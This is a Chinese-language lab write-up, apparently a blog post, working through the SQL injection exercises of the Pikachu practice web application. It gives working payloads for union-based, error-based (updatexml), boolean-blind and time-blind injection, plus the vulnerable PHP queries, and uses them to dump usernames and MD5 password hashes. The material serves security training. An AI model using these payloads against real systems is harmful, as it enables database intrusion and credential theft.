1.数字型注入
看题目知道了第一题是数字型注入,下拉框选择,抓个包试试,看来是post,这里我用的是burp。
方便测试,放到repeater里面。
先试一试出列表1 or 1 --+
,出结果了。
order by试出来了是2,然后是union select看回显。
然后按流程来,查库,查表,查字段。
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='pikachu'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(username) from pikachu.users
select group_concat(password) from pikachu.users
发现密码是md5加密的,直接上cmd5查就好啦。
看看源码,$query="select username,email from member where id=$id";
,发现是直接拼上去的。
2.字符型注入
首先试了1'
,发现报错信息了。然后1' or 1 #
,发现出结果了。
后面和第一个数值型一样了,先order by,然后union select,然后查库、查表、查字段、查值。
这里就不赘述了。
看源码,$query="select id,email from member where username='$name'";
,发现也是直接拼上去,没有做任何过滤。
3.搜索型注入
先试了a'
,报错了,然后是a' or 1#
,出结果了。
然后又和上面一样了,a' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(username) from pikachu.users),(select group_concat(password) from pikachu.users)#
这里不说了。放一张结果图吧。
看源码,发现是$query="select username,id,email from member where username like '%$name%'";
,试一试%
和%' or 1 #
,都可以出结果。
4.xx型注入
先试单引号,发现了报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1
,接着试发现')#
可以的,然后是') or 1#
,成功列出了。
后面的流程一样了,这里不写了。
看源码,$query="select id,email from member where username=('$name')";
,也是没过滤。
5.insert/update注入
看到登录注册了,先试着抓个包。
看起来可以试一试报错注入。
把username=1&password=1&sex=&phonenum=&email=&add=&submit=submit
修改为username=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '&password=1&sex=&phonenum=&email=&add=&submit=submit
,成功报出数据库名称。
看源码,插入语句没有转义,导致注入漏洞。
$getdata = $_POST;
$query = "insert into member(username,pw,sex,phonenum,email,address)
values('{$getdata['username']}',
md5('{$getdata['password']}'),
'{$getdata['sex']}',
'{$getdata['phonenum']}',
'{$getdata['email']}',
'{$getdata['add']}')";
update和注册是一样的,这里不赘述了。
6.delete注入
看到留言板习惯性的写了一个<script>alert("haha")</script>
进去,发现没啥卵用哈哈哈,应该是转义了。
写了数据后下面有删除按钮,抓个包试试。
看了包后发现是用id删的,修改信息为GET /pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,database(),0x7e),1) # HTTP/1.1
即可爆出数据库名称。
看源码,删除语句为:$query="delete from message where id={$_GET['id']}";
。
7.http header注入
先登录看看,发现user agent暴露出来了,抓包然后修改user agent看一下。
可以了。
看源码发现头信息没有处理。
//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];
//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);
8.布尔盲注
输入a
,找不到用户,输入kobe
,可以的,输入kobe'
,找不到,输入kobe' #
,可以的。
然后试kobe' and 1=1#
,可以找到,kobe' and 1=2#
,找不到。确定了是布尔盲注。
9.时间盲注
试了半天啥也试不出来,那差不多就可以试一下时间盲注,也是一个漫长试的过程,kobe' and if(length(database())=6,sleep(5),1)#
,最后试出了这个可以的。
10.宽字节盲注
啊不会写,百度了一番,推荐大家看这个宽字节注入,讲的不错。
终于写完了,当然还有很多需要补充的点,有时间再搞。